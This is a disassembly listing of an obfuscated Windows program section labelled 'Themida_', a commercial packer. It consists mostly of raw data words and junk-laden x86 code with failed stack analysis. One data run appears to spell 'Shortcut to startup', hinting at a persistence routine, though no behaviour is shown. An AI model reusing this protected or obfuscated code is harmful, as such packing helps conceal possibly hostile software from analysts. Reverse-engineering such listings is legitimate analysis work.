50177400h, 403B853h, 85890000h, 6A80FD5h, 9EB49D8Dh dd 0D3FF06AAh, 8D29585Bh, 6A81665h, 0FE9h, 3B8A6E00h, 664787CFh dd 3EDA0068h, 282C2584h, 2B69BD09h, 0C08B06A8h, 2719529h dd 8D8B06A8h, 6A82BD5h, 7E861h, 5C160000h, 1A05167Dh, 0E7C0803Bh dd 0BF0F605Eh, 1B501D0h, 6106A835h, 6905C681h, 10E90000h dd 5D000000h, 4538CC6Fh, 77062954h, 1012BF2Ah, 0B911D81Ah dd 0 ; --------------------------------------------------------------------------- mov edx, [ebp+6A81D89h] loc_59EBE2: ; CODE XREF: Themida_:0059EC75j mov ebx, [esi+ecx] push edx jmp loc_59EBFE ; --------------------------------------------------------------------------- db 73h dd 9B0D4CA4h, 0CDCA8B7Dh, 68BBA603h, 0BE820E1Fh ; --------------------------------------------------------------------------- mov bl, 8Dh loc_59EBFE: ; CODE XREF: Themida_:0059EBE6j pop eax xor ebx, 64168588h mov [ebp+6A80DB1h], esi xor ebx, 60954392h jmp loc_59EC25 ; --------------------------------------------------------------------------- dw 8519h dd 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h db 0D3h ; --------------------------------------------------------------------------- loc_59EC25: ; CODE XREF: Themida_:0059EC11j sub ebx, 293BCD62h mov ax, 7196h push ebx mov dl, cl pop dword ptr [esi+ecx] mov edi, [ebp+6A82811h] movsx edi, si sub ecx, 4 mov [ebp+6A83139h], ebx cmp ecx, 0FFFF97D4h jnz loc_59EC6F mov [ebp+6A80FC1h], eax jmp loc_59EC83 ; --------------------------------------------------------------------------- dw 7F14h dd 0EF949A27h, 1996CB4Ah, 0A2F54A19h ; --------------------------------------------------------------------------- inc edi sbb ebx, ecx loc_59EC6F: ; CODE XREF: Themida_:0059EC4Dj mov edx, [ebp+6A830B5h] jmp loc_59EBE2 ; --------------------------------------------------------------------------- dw 8109h dd 0BA000833h db 0EAh, 0AAh, 83h ; --------------------------------------------------------------------------- loc_59EC83: ; CODE XREF: Themida_:0059EC59j call sub_59EC99 sub al, 71h sal dword ptr [ebx-5Fh], 0A9h ficomp dword ptr [ebp+30007A0h] jmp short near ptr loc_59ECCE+2 ; --------------------------------------------------------------------------- cmc adc bl, [esi] ; =============== S U B R O U T I N E ======================================= sub_59EC99 proc near ; CODE XREF: Themida_:loc_59EC83p call near ptr loc_59ECA3+1 adc [edi], edx repne inc edx push ebx loc_59ECA3: ; CODE XREF: sub_59EC99p mov word ptr [ecx+5Fh], ds sub_59EC99 endp ; sp-analysis failed mov [ebp+6A82DADh], esi add edi, 631Fh adc cx, 0CA47h mov eax, 4D5C92E0h add eax, 0B2A385A9h pusha mov esi, [ebp+6A80E3Dh] mov bh, 71h popa ; START OF FUNCTION CHUNK FOR sub_59ECE0 loc_59ECCC: ; CODE XREF: sub_59ECE0+90j push dword ptr [edi] loc_59ECCE: ; CODE XREF: Themida_:0059EC94j call sub_59ECE0 fiadd dword ptr [esi-76242E70h] pop eax cmpsd mov ch, [edx] push esp ; END OF FUNCTION CHUNK FOR sub_59ECE0 ; --------------------------------------------------------------------------- dw 0E2C4h ; =============== S U B R O U T I N E ======================================= sub_59ECE0 proc near ; CODE XREF: sub_59ECE0:loc_59ECCEp var_78 = byte ptr -78h ; FUNCTION CHUNK AT 0059ECCC SIZE 00000012 BYTES mov [ebp+6A8219Dh], ebx pop edx pop esi jmp loc_59ECF3 ; --------------------------------------------------------------------------- db 23h, 76h, 36h db 7Bh, 33h, 0EAh ; --------------------------------------------------------------------------- loc_59ECF3: ; CODE XREF: sub_59ECE0+8j sub esi, 50FD1528h add ebx, [ebp+6A801DDh] add esi, 73418E3Fh add ecx, 691ECC16h sub esi, 0F6B64F2h mov ecx, [ebp+6A82C79h] push esi jmp loc_59ED2B ; --------------------------------------------------------------------------- mov ch, 0C7h mov edx, 8D62A347h adc al, dh and [esp+edi*8-77h], al loc_59ED2B: ; CODE XREF: sub_59ECE0+38j pop dword ptr [edi] mov edx, [ebp+6A8346Dh] sub edi, 4 xor bl, 0 dec eax jnz loc_59ED65 jmp loc_59ED4D ; --------------------------------------------------------------------------- db 7Bh, 4Eh, 7Dh dd 0E1332880h ; --------------------------------------------------------------------------- push edx loc_59ED4D: ; CODE XREF: sub_59ECE0+60j jmp loc_59ED87 ; --------------------------------------------------------------------------- dw 0AD75h ; --------------------------------------------------------------------------- test al, 8 call fword ptr [eax+4Dh] push 74BEDD31h mov edi, 153A0B7Ch sub al, 0B8h loc_59ED65: ; CODE XREF: sub_59ECE0+5Aj pusha movsx ecx, si mov [ebp+6A8227Dh], eax popa jmp loc_59ECCC ; --------------------------------------------------------------------------- db 87h, 5, 31h dd 0FC81C8F0h, 8FA8654h, 0ED431B41h db 2Eh, 0F3h, 5Ah ; --------------------------------------------------------------------------- loc_59ED87: ; CODE XREF: sub_59ECE0:loc_59ED4Dj lea ecx, [ebp+6AD545Dh] mov bh, 3Dh mov [ebp+6A805B9h], ecx push 0 push edx call sub_59EDA0 and [edx-3Dh], bl sub_59ECE0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59EDA0 proc near ; CODE XREF: sub_59ECE0+B8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_59EDA0 endp ; --------------------------------------------------------------------------- dd 0E745DDEEh, 2CBBFA36h, 0C77B0D06h, 0A8146985h, 58C006h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 8953158Bh, 0A7D01BE0h, 0BD85C772h, 6A80Bh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 1558C357h, 0ED3DCC42h, 958BEEB8h dd 6A80BEDh, 0B5FFD08Bh, 6A80E01h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 58C35141h, 4D7893E7h, 8B90EA08h dd 0A813FDB5h, 0DD95FF06h, 0F06A820h, 8E9F2B7h, 9E000000h dd 7372B7E6h, 6AD14C28h, 3195FF00h, 8B06A81Bh, 0A549EBC0h dd 0DE245E66h, 8D7F128h, 0FDB109B4h, 30B62CEBh, 786264CAh dd 2BC98462h, 478D294Dh, 71A6698Ch, 284E6C3Bh, 0B84F44C1h dd 983E8620h, 61455FDDh, 0A8371362h, 0E1DF7B52h, 0C7748646h dd 8E0F727Bh, 58952760h, 96C05AE3h, 17FD9D8Dh, 2AB806A8h dd 89000000h, 0A8255585h, 0E806h, 5580000h, 0Dh, 2AE90389h dd 0 dd 9 dup(77E600h), 0FF77E600h, 0EE8FFh, 56D80000h, 0F9F5891h dd 313D4855h, 72202418h, 68A0Fh, 0C2810000h, 6749F8ADh dd 8E858h, 732A0000h, 0A962A740h, 880FBDC5h, 13h, 0DE8h dd 9D451300h, 38B54071h, 0C2F6F9B4h, 5A59BEFDh, 5CC2C081h dd 0AFB90000h, 683FD5F4h, 1705h, 0FA54BF66h, 0C981665Bh dd 308B566Dh, 81CA8B66h, 0C987C5C6h, 0C681F86Dh, 63ABB7DFh dd 1E830Fh, 12E80000h, 1F000000h, 543B39FDh, 0A079E9F7h dd 0D1423883h, 65F51FB5h, 6CE9819Ch, 5A3A1261h, 3D4BF681h dd 20BF32E8h, 894F2A5Eh, 1E88330h, 137CB966h, 83484848h dd 850F01EBh, 0FFFFFFAAh, 7BE9h, 1DD8B500h, 6F685353h dd 75637472h, 6F742074h, 61747320h, 70757472h, 19h dup(0) ; --------------------------------------------------------------------------- jmp loc_59FE43 ; --------------------------------------------------------------------------- push 6AD57C2h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6AD58ABh jmp loc_55E058 ; --------------------------------------------------------------------------- push 6AD5A73h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6AD5AB9h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6AD5B7Ah jmp loc_55E058 ; --------------------------------------------------------------------------- push 6AD5BE5h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6AD5F72h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6AD6214h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6AD6300h jmp loc_55E058 ; --------------------------------------------------------------------------- db 5Ch dd 0C5B9DA20h, 72406593h, 0F6C4E915h, 6056778Bh, 3AE18278h dd 0EA104832h, 718FF5C9h, 0FB0F7E4Ch, 7F3E4DAh, 0F9195E66h dd 580CA85Dh, 0D2A09F18h, 4BD94DB9h, 0C4C7E410h, 46A8591Bh dd 5BF9F373h, 8F31E53Ch, 0A7F61F63h, 0DA15701h, 683ACEBFh dd 82ABE47Ch, 896728E8h, 561EF46Fh, 3A7Fh, 649FC000h, 10DBA268h dd 0A92CEF7Dh, 9DFD0240h, 5BF96D1Ch, 0D32CFE21h, 0CA58ACDFh dd 0D67AA467h, 6CA7F99Fh, 0EB0DE3ACh, 0FB561F6Fh, 766186F7h dd 2E732382h, 0D29A6Fh, 0D2A70000h, 4BD94DB9h, 0E331E51Fh dd 8A7E6F88h, 0B5D5162Bh, 5EA1FE19h, 58A2DE54h, 0A65205F9h dd 60F2B5F4h, 284DB9D2h, 0A1F9D536h, 2ADE895Eh, 0D7A7889h dd 0EB9C2EF1h, 7E748F1Fh, 0B83FFE00h, 8B23435Fh, 0E9A15E05h dd 18990DF3h, 86BB1A85h, 6067964h, 215A58A4h, 48D5FBB1h dd 2988EA5Bh, 57D62255h, 713459C8h, 72B9AE88h, 7B63880Eh dd 47076798h, 52A2AF79h, 38A02ED3h, 0CBB13DC2h, 0E57FAE51h dd 0D2B57C5Ah, 3D5EE140h, 0BEB1149h, 3F8F0705h, 0D4AC21B3h dd 1000000Bh, 81F5966Ch, 0E7C21D7h, 0BA08AD51h, 3C9233CFh dd 7E1DBE44h, 0A65C04F6h, 35CBB105h, 0BF4B2290h, 0CB3FA81Eh dd 35559AAAh, 580CA999h, 0D2645BD4h, 5B2F4CB6h, 60B7D420h dd 8C78139Fh, 0BE2B9B1Eh, 0CE51D042h, 53ECAE4Bh, 180D4F28h dd 0BE01D0B2h, 0F7982141h, 7AA55BF9h, 19DA76A8h, 0D060A7F6h dd 0F5F711FFh, 0BDE7561Eh, 0A6000000h, 0D5C3625Fh, 6928F8FFh dd 3C5E9F76h, 5EA1FE90h, 0B16C96F2h, 6C1FAF6Eh, 0CCB40A98h dd 0A6C80936h, 5EA1FE0Eh, 7D6AD84Bh, 72AC3E81h, 5EA1F991h dd 2DD9B200h, 48AFD86Ah, 0FA3FEF13h, 53047A1Bh, 6996F7A7h dd 0E9F4162Bh, 0CAA40606h, 96733A5Bh, 3CCB2BD4h, 81A2AF80h dd 0F5EDE11Eh, 0AB853151h, 51D0AC0Ch, 255D51EEh, 2BEA4FDFh dd 0F60C744Ah, 8EF70C14h, 0D538AA3Fh, 0AEBh, 0DEFF0579h dd 6B08FEE8h, 0F7946817h, 791AE683h, 6A75D05h, 736F0F67h dd 0E896E489h, 54017516h, 0DC8F03A0h, 36798B28h, 0CA6B8D4h dd 85BCF558h, 3B28B6D2h, 47258C49h, 348A2B8Ah, 316B743h dd 8A76139Fh, 0A4169918h, 0AE70A333h, 23A9E3FBh, 79D8BB45h dd 906417A5h, 0AADCD2F3h, 0B15EDD5Ch, 810D4EF3h, 0BC6225DBh dd 5BF9A4F5h, 0DB767BEh, 0A7F9A4E5h, 7022D687h, 3CAA4522h dd 0AEB363C2h, 0F298B11Eh, 799F715Eh, 65561F69h, 14h, 7A6EDCAh dd 0ABEC0000h, 0A1FE234Bh, 47376E5Eh, 3120E315h, 3BADFCE5h dd 9CCB59CDh, 8C6FB260h, 0B7F2142Dh, 785BF9D1h, 0B4277529h dd 3CAF2340h, 22A85AC8h, 0FA84B22Ch, 6C1F256Ah, 706B6798h dd 5F600584h, 0CFAE4224h, 0B2A207AFh, 14D352CCh, 6E31E6C2h dd 0CF5FABDCh, 39CDBE34h, 309A876h, 7265CCB2h, 0D5861486h dd 0C9998D21h, 85DEEFC6h, 0FAA85C09h, 0B84F4B7h, 8DB24631h dd 3822A4Ch, 0ACFCCB2h, 0B2034CE8h, 379609CCh, 0C8A31774h dd 61B46E3Ch, 0AE875869h, 9C681D91h, 1E246B1Dh, 86F4996Dh dd 88D21D5h, 7294ADEFh, 0C9EA1C97h, 0BA1DA58h, 0CA2E43EBh dd 34970ED5h, 830F3055h, 0FA9918E4h, 0BBF9E680h, 13494586h dd 9F42AEDh, 0EAD0923Ah, 0E97F86BBh, 5CD85AD9h, 5F8F682Bh dd 0B071C340h, 31CE8C75h, 0B02BC4BDh, 6411E544h, 1C9F0290h dd 7EDA83E3h, 4CD7FD48h, 0D0927FDEh, 913FD42Fh, 0BA117A88h dd 0E65437C3h, 7E8302F4h, 6DC9B13Dh, 0ABF4E10Dh, 9275ACFEh dd 2D52CF13h, 0C45FFBFDh, 30C4B73Bh, 0B84C3F93h, 7D02F8DAh dd 18C1E54h, 923h, 0A6C73DA1h, 3350A6D0h, 0BFDC205Fh, 41629ECBh dd 0CEEF154Dh, 2B57472Fh, 0A0DEACD1h, 1C493D5Eh, 84F7CBE8h dd 0EE315370h, 0CA4608Ch, 0CDE42D58h, 8874139Fh, 0A614971Ah dd 795DC135h, 8FCD23A2h, 8DDB01Dh, 7B6B0000h, 0FCEEDC81h dd 6E15690Ah, 0E49DF192h, 5B077B18h, 1559FCA1h, 0E6877D65h dd 7714EA90h, 0FD9E6A03h, 892ADE89h, 0BAD2347Bh, 0F7580CA4h dd 139F87BAh, 9D1C8E7Ah, 0FEEA0264h, 7CA75EA1h, 0AA5E09BDh dd 9A325495h, 0D75EA1FEh, 8659CD4Ch, 0CDBB5E08h, 7DD15033h dd 37DEFF05h, 446A3C3h, 0EA229BFBh, 940F5BF9h, 0DC9A7373h dd 0A24FE65Ah, 263F5FE0h, 936C6093h, 0DE3B8210h, 0C022639Ch dd 6E537C94h, 2FFBEE1h, 5A541E0h, 0E33726Bh, 4637DA80h dd 0AF50D3B2h, 8377606Eh, 0BF0F8E13h, 8B0738CCh, 307125DFh dd 0FFF30C71h, 8B71698Eh, 74377A28h, 0FD6195C6h, 0E764BA87h dd 1C82F361h, 0A8000008h, 0D9ADCE34h, 463459AFh, 0F2C0E519h dd 744A6B97h, 36D5F60Ch, 0DE245C3Eh, 6D93C9BDh, 0F7037A48h dd 3F7E0D6h, 0FD1D2262h, 580CA551h, 0D2BC931Ch, 4BD94DB9h dd 9DC5E612h, 5EA1FE91h, 0E8195B84h, 0FD2BD286h, 0BB44DF5Bh dd 13B04437h, 6A38CCBFh, 0A956ACD4h, 0D747BD25h, 0CD43D352h dd 0BA8E6C98h, 6C347109h, 7B197FEh, 4F370000h, 0C8A210B5h dd 0B2299D3Eh, 20592D4Eh, 9FCBBFDCh, 0D1A54065h, 2A4BB129h dd 0B3D02E54h, 395AAEDFh, 0C5E61245h, 0FE1678BFh, 0BB580CA5h dd 5E9F437Eh, 0A1FE903Ch, 0A33D855Eh, 7D9F42AAh, 2BF87FA6h dd 76639C60h, 2A5DF1B0h, 8DFE4CDEh, 6A17A579h, 7426D285h dd 72C05235h, 953EEC16h, 0C8FDD4FBh, 3AAD9738h, 0EB0DADCEh dd 0F35CC713h, 490h, 0BEFCE55Ch, 2B896181h, 2F565BFDh dd 413F29FFh, 6F9CB8BFh, 0AAF5682Bh, 9A6E1995h, 115BB2F9h dd 5700639Dh, 193A6EECh, 7184EAE2h, 23E2CB31h, 0F2097E51h dd 44BEE509h, 0EE509741h, 0C5EA5976h, 0FA1C7A3Dh, 0E4DCADD1h dd 42h, 4CB02FA3h, 0F2E5DACDh, 0CF6787B8h, 0E85EA1FEh dd 4779D09Dh, 45C43737h, 34BA47DEh, 66F4B743h, 0C344D0BCh dd 0E9A66A3Eh, 6014E107h, 10CD3Ch, 0ED520000h, 18Bh, 3F1591ECh dd 9C5373A2h, 0F2E50A1Dh, 5738EAB8h, 0D397BE22h, 587E903Fh dd 46E35AA2h, 3Ah, 7A139FEBh, 61880F8Eh, 19497B2Bh, 0BB97BE22h dd 0D16737C1h, 4CE80AA8h, 9D8326Ah, 2673796h, 5E745D72h dd 0FA7CE35h, 659AB6ECh, 13FDD2A2h, 0E35AF1F5h, 6CF9h dd 0F2E54600h, 0C3A63EABh, 0E44C7003h, 0A859389Bh, 0C447B32Ah dd 0DBB3DB3Bh, 0A7FE5EA1h, 0BC49F20Bh, 5EB01FF7h, 5CC77938h dd 618DED2Eh, 2C5EA1A0h, 36C532F5h, 6A000000h, 8B75139Fh dd 206A8D08h, 6E0E41Fh, 1D12CE53h, 0EB05659Ah, 0AA5EA19Eh dd 0B420D57Bh, 1EFA0D0h, 5CC772E7h, 6F99F3FFh, 75BACh dd 0EDE40000h, 0C7h, 97ED02h, 0E5020000h, 38EAB8F2h, 0ABF24143h dd 729C33C7h, 776CF54h, 45F11152h, 10F40E4Ah, 5BF90E91h dd 46000000h, 87B8F2E5h, 0A1FECF67h, 0E61B8A5Eh, 8609FDE8h dd 0E366EA14h, 3CDC3E81h, 0E25B7D93h, 31433CA6h, 0EC000000h dd 87B8F2E5h, 0A1FECF67h, 0E61B8A5Eh, 980AF0E8h, 0DA049619h dd 8381E396h, 14632CECh, 2C1BB3D3h, 0CF56CC7Eh, 0E50C2A4Ch dd 712EFA6h, 3F000000h, 46EDh, 0B9D20200h, 8A27D94Dh, 0DC5EA1FEh dd 169CEBA4h, 23D98164h, 0CC4FD240h, 0D4F90D7Eh, 0B8F2E545h dd 0D0327394h, 5EA1FEA4h, 80EFAEF1h, 4A450BCFh, 0A203CA1Ch dd 86A3C75Eh, 6A5CC706h, 0FFFFFF47h, 282EDB7h, 0D2020000h dd 4BD94DB9h, 0C4C7E410h, 46A8591Bh, 5BF9F373h, 9133275Eh dd 0FEED1E64h, 189B7A8Ch, 56881A85h, 0A7F6613Ah, 13047F80h dd 0F4EC43Eh, 8B0BA3C3h, 0DF46A7F6h, 0C4CBBD7Ch, 0BE423FB3h dd 0ACCA4DECh, 561E878Ah, 3794h, 0FCE5BD00h, 586181BEh dd 655BF9E2h, 6FE053Ah, 2BB44D34h, 8C36A467h, 0A7F6D764h dd 0E2953ADEh, 880BF7ECh, 1E37C8EEh, 5BA7DE56h, 0F105CCF2h dd 0DADE2BEAh, 63000000h, 0D94DB9D2h, 31E51F4Bh, 0AE7C88E3h dd 0FA9B6F18h, 0A1F907E8h, 7480FB5Eh, 29498ACBh, 0A15E028Dh dd 6D8959C8h, 28A15E02h, 914272F9h, 9DD82A89h, 0D532791Ah dd 0A4136A97h, 74A31711h, 2F709110h, 5E95C5D4h, 0C06CAA27h dd 8DD01366h, 5DD5C3Fh, 0A40781F4h, 0A2D966B9h, 40DC370Fh dd 0EB149701h, 5C01FBE7h, 55FDD823h, 7D2EF62Eh, 0AF97E520h dd 84BD1C68h, 0F444CA62h, 9D1C87A7h, 0EB4BB129h, 34761861h dd 2448C557h, 0A0000004h, 0D1A5C63Ch, 5E2C51A7h, 0CAB8DD21h dd 4C42639Fh, 2ECDEE14h, 0D62C5446h, 659BC1B5h, 0EF1B7240h dd 7B8FF8CEh, 85E52A5Ah, 580CA169h, 9FB4EB24h, 188A7613h dd 3CA41699h, 169CA5C6h, 0A7179668h, 0C43FC034h, 0CBAFEA34h dd 5439F8B1h, 4DB9D2C5h, 0A5C506D9h, 5EA1FE09h, 1887716Bh dd 0B215E19Ah, 0DC2843F3h, 5113FCBFh, 0CC2E6FB0h, 5EA1FEA0h dd 3288A5B5h, 6A39BAEEh, 43A6783Bh, 0C5BF920h, 1E116C95h dd 24E69543h, 0FF5EA8C2h, 5A69E178h, 0EBAAD959h, 706A687Bh dd 0B5DB0786h, 16A7F93Ch, 0A7404D42h, 2B565CE5h, 856492C4h dd 3C9DFD02h, 1A2A123h, 51BEFD9Eh, 0DC8CEE13h, 0E1A94DBEh dd 560D81BEh, 8DF809AAh, 62147DD4h, 0A4A30694h, 9918B3CBh dd 0A20F2349h, 0DC285DB2h, 57F4BFh, 0E8130000h, 0CBCBA370h dd 0DC295CF2h, 960B7BFEh, 0BE4659D8h, 5EA1FE12h, 0B9DA9847h dd 0B0629EC5h, 0A1FEE60Eh, 1260E15Eh, 1FB7D775h, 5A5EA1FEh dd 0D7A968CBh, 59A5C2F8h, 0F0174634h, 18BD7185h, 35970E24h dd 0BB0BEA2Ah, 0C25033CDh, 0A1A7F120h, 0F5DAEA5Eh, 496A9ECFh dd 6D649FD6h, 0B755269Bh, 54A2D4A6h, 937461D5h, 0FFAF0EFAh dd 5AC83CA9h, 0B66492C4h, 11857960h, 28018E42h, 0F0CAC59Bh dd 124C7185h, 5EA14A82h, 0A4D2F793h, 80DE5CC7h, 63FFFFFFh dd 0D94DB9D2h, 0C7E4104Bh, 0F11D7DBEh, 0DE5EA1FEh, 0A1FE10BCh dd 5FC25D5Eh, 6DD8DAA0h, 23824351h, 0ADFCE560h, 0D455C937h dd 23827466h, 0A9D1DD1Eh, 805EC353h, 5EA1C454h, 0C23FFE21h dd 0F9C929A0h, 1B8B1A5Bh, 0F9E549E9h, 705FF3A7h, 1F2E789Eh dd 546656h, 0DE250000h, 53F6F641h, 0CB53E097h, 80954580h dd 0EF4E58C2h, 0BE21C9F2h, 66356181h, 2180A7F9h, 139F8F9Eh dd 2157E878h, 855756E0h, 2A317022h, 58AFC518h, 890C8FCDh dd 0FD1D2260h, 5BF9743Ch, 0D20C9E01h, 0A7F996BEh, 0B55B7404h dd 561F7693h, 0D49Bh, 0B9D2A400h, 48DA2C5Eh, 69406E9h dd 0D103C45Ah, 7CF54FB4h, 0C0BB099Dh, 0D4870B34h, 0BF0D6120h dd 4B9B38CCh, 5EA10E68h, 0C12E5B57h, 6CCD6197h, 0CFB80A8Dh dd 0B3249A3Bh, 8976D747h, 95F536CBh, 5EA10C79h, 0D52AED34h dd 0FAF648B5h, 0D9FA255Bh, 0CA7735D2h, 0A0821BA8h, 0C3B43AA2h dd 43C26737h, 7BBC45DCh, 27F70977h, 0D7B30382h, 0BEFB1373h dd 6FB6AC0Fh, 0EF9BEF8Ch, 0E2ADB115h, 198B3F8Dh, 182B4h dd 649EC600h, 0EF197347h, 7F83F8CEh, 8D71685Eh, 14EE9AE8h dd 0FEA0D477h, 675B7882h, 90E68779h, 1E6C11E5h, 0C8F4996Dh dd 9CCF6787h, 0D8A580Ch, 4CB6D212h, 0D9D5162Fh, 67CA58ACh dd 0A1FE53FBh, 0E3941E5Eh, 43228717h, 0A86B95F3h, 0F095611Ah dd 0DAFCE521h, 0CB54DAE7h, 0A85938C1h, 84706B67h, 0A145325Ah dd 51FD1D5Eh, 1C5EA145h, 4871E85h, 591E9BFBh, 80235BF9h dd 7340F012h, 56FAA7F9h, 9C719779h, 9B7D561Fh, 0C2000000h dd 0D94DB9D2h, 85F61F4Bh, 8918BD71h, 99820282h, 7B2B8A6Dh dd 0A11B6649h, 9B6F185Eh, 27D384FAh, 0ABE91677h, 0D9897496h dd 5F6A5BFAh, 2E61AC36h, 7D1E8152h, 6E93D13Eh, 0A0D4500Ch dd 3DC25DA2h, 8857C9B1h, 46351B1Eh, 46F8FE6h, 75D40307h dd 0E59DF192h, 0B3A9BF1Fh, 0ED7F3F8Dh, 9660h, 48B2D200h dd 0D325572Bh, 5BA7DCB2h, 0E11D443Ah, 6892CEBCh, 0D2CCA04Bh dd 5B2F4CB6h, 0DCB2D32Dh, 4A385DA9h, 0BCC0E511h, 9DF31B7Bh dd 71BE580Ch, 4CB6D25Eh, 0D4205B2Fh, 0B9D260B7h, 8806D94Dh dd 257B2BDFh, 55D446B2h, 0E88333F2h, 2798E31Ch, 6AD990A4h dd 87066726h, 0A6520B5Ah, 2DD2B5F4h, 0FD4311CDh, 91059C5Bh dd 0FF9C6803h, 7624D08Bh, 41400E4Ch, 49461E52h, 0CFEC1873h dd 0A67480FBh, 1956910h, 0B78D02CEh, 3F9330C4h, 6BEAB84Ch dd 3, 0D2F1E088h, 44DA48B2h, 0E137E713h, 1C9200F4h, 0B40A9866h dd 0D66436CCh, 4CC250AAh, 0E735E915h, 9604F8h, 14F2A056h dd 15C268h, 242C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 1B40h mov [esp], ebx push 63160CCBh pop edx shl edx, 6 sub edx, 4C6F5E41h add edx, 8D99820Fh push 28DDh mov [esp], esp add dword ptr [esp], 4 pop ebx push edx sub dword ptr [esp], 4B8E0C0Ch pop dword ptr [ebx+8] add dword ptr [ebx+8], 4B8E0C0Ch push dword ptr [esp] pop ebx add esp, 4 mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55E058 ; --------------------------------------------------------------------------- and edi, ecx loc_59FE43: ; CODE XREF: Themida_:0059F03Cj mov eax, 6AD63BBh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 6A5FA7DBh, 3684D339h, 64CF3D79h, 6575D4D0h, 0C48DC75h dd 2AD7176Fh, 692C1234h, 61CF1247h, 148FE34Dh, 25748D8Dh dd 4741E323h, 31C1B072h, 2BD62867h, 1ACB323Ch, 5C4AE588h dd 121663B2h, 1EB4FAF5h, 52F1E21Ah, 408A8CCBh, 1C7C7CC6h dd 394CC40Fh, 7F069492h, 1BBC208Fh, 94659DFh, 0B0E9h, 8C666000h dd 4C2F6DAh, 0C850Fh, 853B0000h, 6A831F9h, 36840Fh, 853B0000h dd 6A80D2Dh, 2A840Fh, 853B0000h, 6A8069Dh, 1E840Fh, 853B0000h dd 6A82F69h, 12840Fh, 0BD830000h, 6A80AB1h, 5840F01h, 0E9000000h dd 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h dd 6A84FAFh, 5B8h, 61E3FF00h, 8DD00BC3h, 0AD66058Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0B7E90DFAh, 4B271FFh, 668DBE66h, 5B98D89h, 0BD3306A8h dd 6A83301h, 146985C7h, 609006A8h, 9D310000h, 6A82E61h dd 0BBD85C7h, 6A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 49D5BFC3h, 0B07A129h dd 89A1FF67h, 0A81DD18Dh, 11B5FF06h, 8B06A821h, 0E68166DAh dd 95FFB592h, 6A820DDh, 12E9h, 0E5227000h, 79818FF4h, 0D5EEB148h dd 0F79888F2h, 6A76BD4Dh, 3195FF00h, 8B06A81Bh, 0D66FEBC0h dd 14ACF015h, 0C21AF25Fh, 6BDCB239h, 0D3C5DF3Fh, 0EA5EF4CEh dd 62DB9416h, 0C9E21ED5h, 89AD7C09h, 0DB2E454Ah, 4D5C062Ch dd 7A38CB44h, 0B3F0C21Bh, 827D309Fh, 0D1BAE18Bh, 0C44CCD5Dh dd 226F139Ah, 620DBD7Ah, 83A65B47h, 0F65802E6h, 0D4284B13h dd 0FB5F931Ch, 0E61C5958h, 9EFE955h, 5623512Ah, 9C62E0BAh dd 0A20BA410h, 311CD28Dh, 5E9ED49h, 53000000h, 95880h dd 56EE9h, 99D07700h, 0C88DA20Dh, 0FEB7D172h, 2E6B07A8h dd 5B163798h, 0E13140CFh, 16B90D40h, 42ED3974h, 74DF6B22h dd 9A0298D1h, 3D020640h, 0BAC0B605h, 9D5CFF9Dh, 54D9B2FBh dd 0C3E7AACBh, 0D72763A5h, 0D97CAF57h, 0C81A1390h, 105DFE6Fh dd 82D43298h, 0DFF37D83h, 753A7EE9h, 91129FD6h, 0AD76BBF2h dd 0F558C580h, 0F5989F00h, 0DB581134h, 0B75DE9C2h, 3BBFF09h dd 0AE89AF58h, 4687A50Ah, 0F2BFE025h, 0AA837CADh, 0D891B31Ch dd 6DA8CA5Bh, 0A2380CDh, 604D8C11h, 5594B8BFh, 60867F36h dd 788FFA16h, 4CECA64Dh, 773E5DC6h, 97933553h, 6DAF5847h dd 75F556C2h, 0AF584732h, 80921398h, 12DFA694h, 8073h dd 5CFFD400h, 18528815h, 0FEE68578h, 0CD1B9DE0h, 0AF580BCBh dd 1BADCB31h, 0AF580C1Fh, 0B9D94AE5h, 3A7EAFF4h, 339CE041h dd 0F8B5D613h, 2F8962BBh, 0DFE39F8Bh, 127E12h, 0F6000000h dd 5E4F590Fh, 0BFC9FD70h, 0AF587D7Bh, 614AEE49h, 8A1752FFh dd 0FD121A5Ch, 92D60340h, 0B1F49906h, 0DA9FB36Ch, 0D67CFE55h dd 581774B4h, 440D2FAFh, 940FA982h, 3F5E410Bh, 0B8F02976h dd 8B1F5AF7h, 0FE4C0528h, 9B5EFFD1h, 3069B6FBh, 1F40A347h dd 0BC65C652h, 0ADED1F97h, 97AF57D6h, 662B4BBCh, 0DD7F208Dh dd 0F2960F94h, 0DAF376BBh, 0AF77DA59h, 0C26F2244h, 4BD44FE9h dd 69A1DB01h, 5BAF57D7h, 78B0CAF0h, 4AAF57D7h, 47E8B7E1h dd 6D56BC0Ah, 0F1885C0h, 0A66706A9h, 0FB67CC89h, 57D74941h dd 27103BAFh, 1840E14Eh, 876CCC51h, 0D4D01C1Eh, 89F712DFh dd 48000000h, 0AEEA1CBAh, 94AF57D6h, 91B27DBBh, 83AC2EDCh dd 0B3FA9AF0h, 13A53D6Eh, 9576A2BAh, 0E8C46C0Ch, 6FD0966Ch dd 4A29766Fh, 284950D1h, 0DD7E2165h, 0FC921390h, 7DD6D274h dd 